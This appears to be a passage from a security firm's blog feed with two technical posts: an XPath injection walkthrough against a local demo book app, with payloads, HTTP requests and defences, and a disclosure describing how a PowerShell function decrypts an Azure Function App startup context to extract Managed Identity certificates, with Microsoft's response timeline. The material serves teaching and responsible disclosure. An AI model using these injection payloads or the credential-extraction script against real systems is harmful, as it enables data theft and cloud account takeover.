POST /Home/FindBook HTTP/1.1 
Host: localhost:8888 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0 
Accept: */* 
Accept-Language: en-GB,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://localhost:8888/ 
Content-Type: application/json 
Content-Length: 43 
Origin: https://localhost:8888 
Connection: close 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 

{"title":"The Last Orchard ' or '1' < '2"} 

HTTP Response:

HTTP/1.1 200 OK 
Content-Length: 85 
Connection: close 
Content-Type: application/xml 
Date: Mon, 30 Oct 2023 06:01:32 GMT 
Server: Kestrel 
 
<Book published="true"><Title>Whispers in the Wind</Title><Price>12.99</Price></Book> 

Note in the examples above that the logic statement ‘ or ‘1’ < ‘2 combines a logical OR operator with a string comparison. It evaluates to true because the string ‘1’ is indeed less than the string ‘2’.  

Identifying and Stealing the Schema

What is XML Schema:

A schema defines the structure, data types, and constraints of an XML document. An XML schema provides a blueprint for the elements, attributes, and data types that are allowed in an XML document.

A basic example of an XML schema might look like this:

<root> 
        <a> 
             <b>   </b> 
        </a> 
         <c> 
              <d>  </d> 
              <e>   </e> 
              <f>  
                   <h>  </h> 
             </f> 
        </c> 
</root> 
1. Finding the Length of the Root Node’s Name 

The “root node” refers to the highest node in the XML document hierarchy. It means identifying the starting point of an XPath expression within an XML document. XPath expressions are used to navigate through elements and attributes in an XML document, and specifying the root node provides the context from which the navigation begins.  

By utilizing the string-length() function, we can determine the length of the root node’s name. This fundamental step allows us to better craft subsequent payloads. Testing different string length numbers, we can ascertain that the root node’s length to be 5 characters.

Payload:

 ' or string-length(name(/*)) < 0 or ' 

Payload Explanation:

  1. ” and “” These single quotes are used to denote string literals in XPath expressions. Anything inside single quotes is treated as a string. 
  2. or ” The or operator in XPath is used for logical OR operations. It allows the attacker to combine multiple conditions in the XPath expression. 
  3. string-length() ” This is an XPath function that calculates the length of a string. 
  4. name(/*) “ This expression represents the name of the root element in an XML document. “ /* ” selects the root node, and “ name() ” function retrieves the name of that node. 
  5. < 0 ” This part is a comparison, checking if the length of the root element’s name is less than 0. However, the length of a string cannot be less than 0, so this condition will always evaluate to false. 
  6. or ”  Similar to the first set of single quotes and the logical OR operator, these are used to close the injected expression and continue the XPath query.

Observe that the application’s content length changes in response to a request of 6. which means the root node’s length is 5. 

2. Extracting Characters from the Root Node’s Name 

Now that we know the length of the root node name, we can now use the starts-with() method to get characters from the name of the root node. As we are using start-with function we start finding root node’s name character by character.

' or starts-with(name(/*), 'B') or ' 
' or starts-with(name(/*), 'Bo') or ' 
' or starts-with(name(/*), 'Boo') or ' 
' or starts-with(name(/*), 'Book') or ' 
' or starts-with(name(/*), 'Books') or ' 

To automate the above process, I used Burp Suite’s Intruder function with the cluster bomb attack type. This allows us to determine that the name of the root node is ‘Books’.

Payload: 

 ' or starts-with(name(/*), 'AAAAA') or ' 

Payload Explanation: 

  1. ” and “” These single quotes are used to denote string literals in XPath expressions. Anything inside single quotes is treated as a string. 
  2. or ” This is a logical OR operator in XPath. It is used to combine two conditions, and the expression evaluates to true if either of the conditions is true. 
  3. starts-with(name(/*), ‘AAAAA’): This part of the payload introduces an or operator, creating a conditional expression using the starts-with() function. 
  • or ”  Similar to the first set of single quotes and the logical OR operator, these are used to close the injected expression and continue the XPath query.
  • name(/*) retrieves the name of the root node.
  1. starts-with(name(/*), ‘AAAAA’) checks if the name of the root node starts with the prefix ‘AAAAA’. If true, the entire condition evaluates to true. 

We will use the cluster bomb attack type to determine the name of the root node. Observe that the application response content length changes on the “Books” character combination.   

3. Counting the Number of Nodes Beneath the Root Node 

The count() function helps us determine the number of elements beneath the root node. This insight allows us to comprehend the structure of the XML database, paving the way for more targeted queries.

Payload:

 ' or count(/*[1]/*)<0 or ' 

Payload Explanation: 

  1. ” and “” These single quotes are used to denote string literals in XPath expressions. Anything inside single quotes is treated as a string. 
  2. or ” This is a logical OR operator in XPath. It is used to combine two conditions, and the expression evaluates to true if either of the conditions is true. 
  3. count(/*[1]/*) ” This part of the expression calculates the count of child elements of the first child of the root node of the XML document. “ /* ” selects the root node, “ [1] ” selects its first child, and “ /* “ selects all the child elements of the first child. 
  4. <0 ” This is a numerical comparison, checking if the count calculated in the previous step is less than 0. 
  5. or ”  Similar to the first set of single quotes and the logical OR operator, these are used to close the injected expression and continue the XPath query.

Please observe that the application’s content length changes in response to a request of 5, which means the node counts beneath root node is less than 5, meaning its count is 4. 

4. Finding the Character Length of the Node Beneath the Root Node

The string-length() method determines node name length. This basic phase helps us design future payloads. Testing multiple string length values, I found the node name length is 4 characters. 

Payload:

 ' or string-length(name(/*[1]/*)) < 0 or ' 

Payload Explanation: 

  1. ” and “” These single quotes are used to denote string literals in XPath expressions. Anything inside single quotes is treated as a string. 
  2. or ” The or operator in XPath is used for logical OR operations. It allows the attacker to combine multiple conditions in the XPath expression. 
  3. string-length(name(/*[1]/*)) ” This part of the expression calculates the length of the name of the first child element of the root node in the XML document. Here’s how this works: 
  • /*[1]/* ” Selects the first child element of the root node (/*[1]) and then selects all its child elements (/*). 
  • name(…) ” Gets the name of the selected element. 
  • string-length(…) ” Calculates the length of the resulting string. 
  1. < 0 ” This part is a comparison, checking if the length of the element’s name is less than 0. However, the length of a string cannot be less than 0, so this condition will always evaluate to false. 
  2. or ”  Similar to the first set of single quotes and the logical OR operator, these are used to close the injected expression and continue the XPath query or to concatenate with additional malicious condition.

Observe that the application’s content length changes in response to a request of 5, which means the node name length is 4. 

5. Extracting the Name of Node Beneath the Root Node  

We use the starts-with() method to get characters from the name of the node and extract the name of node beneath the root node.

Now that we know the length of the node name, we can now use the starts-with() method to get characters from the name of the node. As we are using the start-with function, we start finding node’s name character by character.

 ' or starts-with(name(/*[1]/*), 'B') or ' 
 ' or starts-with(name(/*[1]/*), 'Bo') or ' 
 ' or starts-with(name(/*[1]/*), 'Boo') or ' 
 ' or starts-with(name(/*[1]/*), 'Book') or '

To automate the above process, I used Burp Suite’s Intruder function with the cluster bomb attack type. This allows us to determine that the name of node beneath the root node is ‘Book’.

Payload:

' or starts-with(name(/*[1]/*), 'AAAA') or ' 

Payload Explanation: 

  1. ” and “” These single quotes are used to denote string literals in XPath expressions. Anything inside single quotes is treated as a string. 
  2. or ” The or operator in XPath is used for logical OR operations. It allows the attacker to combine multiple conditions in the XPath expression. 
  3. name(/*[1]/*) ” This part selects the name of the first child element of the root node of the XML document. “ /* ” selects the root node, “ [1] ” selects its first child, and “ /* ” again selects the first child’s first child element. 
  4. starts-with(name(/*[1]/*), ‘AAAA’) ” This checks if the name of the selected element starts with the string ‘AAAA’. The starts-with() function is used for this comparison. 
  5. The entire expression is using the logical OR operator (or) to combine conditions. It’s checking whether the name of the first child element of the root node starts with ‘AAAA’. If this condition is true, the expression evaluates to true. 
6. Extracting the Sensitive Information with the Help of XPath Injection

As you can see in step #3, the count of nodes beneath the parent node is 4, but in the application, we are able to see only 3 books. This suggests that there is one more book which cannot be found directly in the application.

Observe that when we’re searching for a book in the application, the Book XML in the response contains a “published” attribute and its value is true.

HTTP Request: 

POST /Home/FindBook HTTP/1.1 
Host: localhost:8888 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0 
Accept: */* 
Accept-Language: en-GB,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://localhost:8888/ 
Content-Type: application/json 
Content-Length: 32 
Origin: https://localhost:8888 
Connection: close 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 

{"title":"Whispers in the Wind"}

HTTP Response:

HTTP/1.1 200 OK 
Content-Length: 85 
Connection: close 
Content-Type: application/xml 
Date: Mon, 30 Oct 2023 06:01:32 GMT 
Server: Kestrel 

<Book published="true"><Title>Whispers in the Wind</Title><Price>12.99</Price></Book> 

To see if we can find an unpublished book, we update our XPath injection payload to search for books whose “published” attribute is “false.” Typically, we would use the “=” character as a direct comparison. But since that character is disallowed by the application, we use the “contains” function as a workaround.

Payload:

 ' or contains(@published, 'false') or' 

Payload Explanation:

  1. ” and “” These single quotes are used to denote string literals in XPath expressions. Anything inside single quotes is treated as a string. 
  2. or contains(@published, ‘false’) or’ ” This portion of the payload employs the or operator, creating a conditional expression. In this case, the condition being checked is contains(@published, ‘false’). contains(@published, ‘false’) checks if the attribute published contains the substring ‘false’. If the published attribute contains the value ‘false’, the condition evaluates to true. 
  3. or ”: This part of the payload is included to close the injected XPath expression.

For reference, here is the backend code for the application:

namespace BookFinderApp.Controllers 
{ 
    public class HomeController : Controller 
    { 
        private const string xmlString = @" 
            <Books> 
                <Book published=""true""> 
                    <Title>Whispers in the Wind</Title> 
                    <Price>12.99</Price> 
                </Book> 
                <Book published=""true""> 
                    <Title>Moonlit Secrets</Title> 
                    <Price>9.99</Price> 
                </Book> 
                <Book published=""true""> 
                    <Title>The Last Orchard</Title> 
                    <Price>24.99</Price> 
                </Book> 
                <Book published=""false""> 
                    <Title>Shadows of Tomorrow</Title> 
                    <Price>29.99</Price> 
                </Book> 
            </Books> 
        "; 

        public IActionResult Index()

This backend code proves that I was able to successfully retrieve the root node and nodes names beneath the root node. Additionally, I retrieved information about the fourth book, despite the fact it was unpublished and could not be selected directly in the application. Using these XPath injection techniques, I could extract the structure and contents of the underlying XML document and retrieve sensitive information therein.

XPath Injection Defences

Use Parameterized Queries: Employ parameterized XPath queries to separate data from code execution. 

Input Validation: Validate and sanitize user input to prevent malicious characters from being used in XPath queries. 

Least Privilege Principle: Restrict database access permissions for the application to minimize potential damage. 

Whitelist Input: Only allow specific, expected characters from user input, rejecting anything else. 

Escape Special Characters: If user input must be used in XPath, properly escape or encode special characters. 

Error Handling: Use custom error pages and avoid revealing sensitive information in error messages. 

Conclusion: Empowering Security Through Knowledge 

Understanding XPath injection and mastering the art of payload crafting are essential for securing web applications. Hopefully, this blog post has equipped you with valuable insights into XPath vulnerabilities and creative exploitation techniques. Armed with this knowledge, developers can fortify their applications against potential attacks, while security professionals can adeptly assess and mitigate XPath injection risks. 

Reference: https://book.hacktricks.xyz/pentesting-web/xpath-injection

The post Exploiting XPath Injection Weaknesses appeared first on NetSPI.

]]>
Mistaken Identity: Extracting Managed Identity Credentials from Azure Function Apps  https://www.netspi.com/blog/technical/cloud-penetration-testing/mistaken-identity-azure-function-apps/ Thu, 16 Nov 2023 15:00:00 +0000 https://www.netspi.com/?p=31440 NetSPI explores extracting managed identity credentials from Azure Function Apps to expose sensitive data.

The post Mistaken Identity: Extracting Managed Identity Credentials from Azure Function Apps  appeared first on NetSPI.

]]>
As we were preparing our slides and tools for our DEF CON Cloud Village Talk (What the Function: A Deep Dive into Azure Function App Security), Thomas Elling and I stumbled onto an extension of some existing research that we disclosed on the NetSPI blog in March of 2023. We had started working on a function that could be added to a Linux container-based Function App to decrypt the container startup context that is passed to the container on startup. As we got further into building the function, we found that the decrypted startup context disclosed more information than we had previously realized. 

TL;DR 

  1. The Linux containers in Azure Function Apps utilize an encrypted start up context file hosted in Azure Storage Accounts
  2. The Storage Account URL and the decryption key are stored in the container environmental variables and are available to anyone with the ability to execute commands in the container
  3. This startup context can be decrypted to expose sensitive data about the Function App, including the certificates for any attached Managed Identities, allowing an attacker to gain persistence as the Managed Identity. As of the November 11, 2023, this issue has been fully addressed by Microsoft. 

In the earlier blog post, we utilized an undocumented Azure Management API (as the Azure RBAC Reader role) to complete a directory traversal attack to gain access to the proc file system files. This allowed access to the environmental variables (/proc/self/environ) used by the container. These environmental variables (CONTAINER_ENCRYPTION_KEY and CONTAINER_START_CONTEXT_SAS_URI) could then be used to decrypt the startup context of the container, which included the Function App keys. These keys could then be used to overwrite the existing Function App Functions and gain code execution in the container. At the time of the previous research, we had not investigated the impact of having a Managed Identity attached to the Function App. 

As part of the DEF CON Cloud Village presentation preparation, we wanted to provide code for an Azure function that would automate the decryption of this startup context in the Linux container. This could be used as a shortcut for getting access to the function keys in cases where someone has gained command execution in a Linux Function App container, or gained Storage Account access to the supporting code hosting file shares.  

Here is the PowerShell sample code that we started with:

using namespace System.Net 

# Input bindings are passed in via param block. 
param($Request, $TriggerMetadata) 

$encryptedContext = (Invoke-RestMethod $env:CONTAINER_START_CONTEXT_SAS_URI).encryptedContext.split(".") 

$key = [System.Convert]::FromBase64String($env:CONTAINER_ENCRYPTION_KEY) 
$iv = [System.Convert]::FromBase64String($encryptedContext[0]) 
$encryptedBytes = [System.Convert]::FromBase64String($encryptedContext[1]) 

$aes = [System.Security.Cryptography.AesManaged]::new() 
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC 
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 
$aes.Key = $key 
$aes.IV = $iv 

$decryptor = $aes.CreateDecryptor() 
$plainBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length) 
$plainText = [System.Text.Encoding]::UTF8.GetString($plainBytes) 

$body =  $plainText 

# Associate values to output bindings by calling 'Push-OutputBinding'. 
Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{ 
    StatusCode = [HttpStatusCode]::OK 
    Body = $body 
})

At a high-level, this PowerShell code takes in the environmental variable for the SAS tokened URL and gathers the encrypted context to a variable. We then set the decryption key to the corresponding environmental variable, the IV to the start section of the of encrypted context, and then we complete the AES decryption, outputting the fully decrypted context to the HTTP response. 

When building this code, we used an existing Function App in our subscription that had a managed Identity attached to it. Upon inspection of the decrypted startup context, we noticed that there was a previously unnoticed “MSISpecializationPayload” section of the configuration that contained a list of Identities attached to the Function App. 

"MSISpecializationPayload": { 
    "SiteName": "notarealfunctionapp", 
    "MSISecret": "57[REDACTED]F9", 
    "Identities": [ 
      { 
        "Type": "SystemAssigned", 
        "ClientId": " b1abdc5c-3e68-476a-9191-428c1300c50c", 
        "TenantId": "[REDACTED]", 
        "Thumbprint": "BC5C431024BC7F52C8E9F43A7387D6021056630A", 
        "SecretUrl": "https://control-centralus.identity.azure.net/subscriptions/[REDACTED]/", 
        "ResourceId": "", 
        "Certificate": "MIIK[REDACTED]H0A==", 
        "PrincipalId": "[REDACTED]", 
        "AuthenticationEndpoint": null 
      }, 
      { 
        "Type": "UserAssigned", 
        "ClientId": "[REDACTED]", 
        "TenantId": "[REDACTED]", 
        "Thumbprint": "B8E752972790B0E6533EFE49382FF5E8412DAD31", 
        "SecretUrl": "https://control-centralus.identity.azure.net/subscriptions/[REDACTED]", 
        "ResourceId": "/subscriptions/[REDACTED]/Microsoft.ManagedIdentity/userAssignedIdentities/[REDACTED]", 
        "Certificate": "MIIK[REDACTED]0A==", 
        "PrincipalId": "[REDACTED]", 
        "AuthenticationEndpoint": null 
      } 
    ], 
[Truncated]

In each identity listed (SystemAssigned and UserAssigned), there was a “Certificate” section that contained Base64 encoded data, that looked like a private certificate (starts with “MII…”). Next, we decoded the Base64 data and wrote it to a file. Since we assumed that this was a PFX file, we used that as the file extension.  

$b64 = " MIIK[REDACTED]H0A==" 

[IO.File]::WriteAllBytes("C:\temp\micert.pfx", [Convert]::FromBase64String($b64))

We then opened the certificate file in Windows to see that it was a valid PFX file, that did not have an attached password, and we then imported it into our local certificate store. Investigating the certificate information in our certificate store, we noted that the “Issued to:” GUID matched the Managed Identity’s Service Principal ID (b1abdc5c-3e68-476a-9191-428c1300c50c). 

We then opened the certificate file in Windows to see that it was a valid PFX file, that did not have an attached password, and we then imported it into our local certificate store. Investigating the certificate information in our certificate store, we noted that the “Issued to:” GUID matched the Managed Identity’s Service Principal ID (b1abdc5c-3e68-476a-9191-428c1300c50c).

After installing the certificate, we were then able to use the certificate to authenticate to the Az PowerShell module as the Managed Identity.

PS C:\> Connect-AzAccount -ServicePrincipal -Tenant [REDACTED] -CertificateThumbprint BC5C431024BC7F52C8E9F43A7387D6021056630A -ApplicationId b1abdc5c-3e68-476a-9191-428c1300c50c

Account				             SubscriptionName    TenantId       Environment
-------      				     ----------------    ---------      -----------
b1abdc5c-3e68-476a-9191-428c1300c50c         Research 	         [REDACTED]	AzureCloud

For anyone who has worked with Managed Identities in Azure, you’ll immediately know that this fundamentally breaks the intended usage of a Managed Identity on an Azure resource. Managed Identity credentials are never supposed to be accessed by users in Azure, and the Service Principal App Registration (where you would validate the existence of these credentials) for the Managed Identity isn’t visible in the Azure Portal. The intent of Managed Identities is to grant temporary token-based access to the identity, only from the resource that has the identity attached.

While the Portal UI restricts visibility into the Service Principal App Registration, the details are available via the Get-AzADServicePrincipal Az PowerShell function. The exported certificate files have a 6-month (180 day) expiration date, but the actual credential storage mechanism in Azure AD (now Entra ID) has a 3-month (90 day) rolling rotation for the Managed Identity certificates. On the plus side, certificates are not deleted from the App Registration after the replacement certificate has been created. Based on our observations, it appears that you can make use of the full 3-month life of the certificate, with one month overlapping the new certificate that is issued.

It should be noted that while this proof of concept shows exploitation through Contributor level access to the Function App, any attacker that gained command execution on the Function App container would have been able to execute this attack and gain access to the attached Managed Identity credentials and Function App keys. There are a number of ways that an attacker could get command execution in the container, which we’ve highlighted a few options in the talk that originated this line of research.

Conclusion / MSRC Response

At this point in the research, we quickly put together a report and filed it with MSRC. Here’s what the process looked like:

  • 7/12/23 – Initial discovery of the issue and filing of the report with MSRC
  • 7/13/23 – MSRC opens Case 80917 to manage the issue
  • 8/02/23 – NetSPI requests update on status of the issue
  • 8/03/23 – Microsoft closes the case and issues the following response:
Hi Karl,
 
Thank you for your patience.
 
MSRC has investigated this issue and concluded that this does not pose an immediate threat that requires urgent attention. This is because, for an attacker or user who already has publish access, this issue did not provide any additional access than what is already available. However, the teams agree that access to relevant filesystems and other information needs to be limited.
 
The teams are working on the fix for this issue per their timelines and will take appropriate action as needed to help keep customers protected.
 
As such, this case is being closed.
 
Thank you, we absolutely appreciate your flagging this issue to us, and we look forward to more submissions from you in the future!
  • 8/03/23 – NetSPI replies, restating the issue and attempting to clarify MSRC’s understanding of the issue
  • 8/04/23 – MSRC Reopens the case, partly thanks to a thread of tweets
  • 9/11/23 – Follow up email with MSRC confirms the fix is in progress
  • 11/16/23 – NetSPI discloses the issue publicly

Microsoft’s solution for this issue was to encrypt the “MSISpecializationPayload” and rename it to “EncryptedTokenServiceSpecializationPayload”. It’s unclear how this is getting encrypted, but we were able to confirm that the key that encrypts the credentials does not exist in the container that runs the user code.

It should be noted that the decryption technique for the “CONTAINER_START_CONTEXT_SAS_URI” still works to expose the Function App keys. So, if you do manage to get code execution in a Function App container, you can still potentially use this technique to persist on the Function App with this method.


Prior Research Note:
While doing our due diligence for this blog, we tried to find any prior research on this topic. It appears that Trend Micro also found this issue and disclosed it in June of 2022.

The post Mistaken Identity: Extracting Managed Identity Credentials from Azure Function Apps  appeared first on NetSPI.

]]>